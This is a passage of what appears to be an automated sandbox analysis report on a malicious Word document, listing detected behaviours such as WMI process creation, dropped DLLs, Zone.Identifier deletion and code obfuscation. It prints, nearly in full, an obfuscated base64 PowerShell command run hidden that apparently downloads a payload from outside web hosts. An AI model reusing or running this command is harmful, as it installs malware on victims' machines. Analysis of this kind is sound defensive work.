AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAK Jump to behavior
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAK
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAK Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10013BFB LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer, 7_2_10013BFB
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000B0BD push ecx; ret 7_2_1000B0D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10007BCA push ecx; ret 7_2_10007BDD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_006ACE92 push cs; retf 8_2_006ACE94
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001ECE92 push cs; retf 9_2_001ECE94
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0039CE92 push cs; retf 10_2_0039CE94
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0020CE92 push cs; retf 11_2_0020CE94
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_001ACE92 push cs; retf 12_2_001ACE94
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_001BCE92 push cs; retf 15_2_001BCE94

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Drops PE files
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\rundll32.exe PE file moved: C:\Windows\SysWOW64\Bjbj\rqtl.dgq Jump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Bjbj\rqtl.dgq:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Frxh\ggkviq.cnk:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Zgwl\aiycp.wss:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Cqxs\necppp.cgm:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Oxpl\fwcrxow.muo:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Pnjy\rwrr.fge:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Qaqt\yasnhb.kgm:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Hudb\deul.ebq:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Ohxf\pnwx.dib:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Jpux\rkm.xqv:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Oxtv\rmjj.sjq:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Pwzo\iducd.mjn:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Gfwk\bavnhqr.pvy:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Dbsb\hxixh.nee:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Yvvm\ving.mzt:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Puve\yoqqjfh.eoi:Zone.Identifier read attributes | delete
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
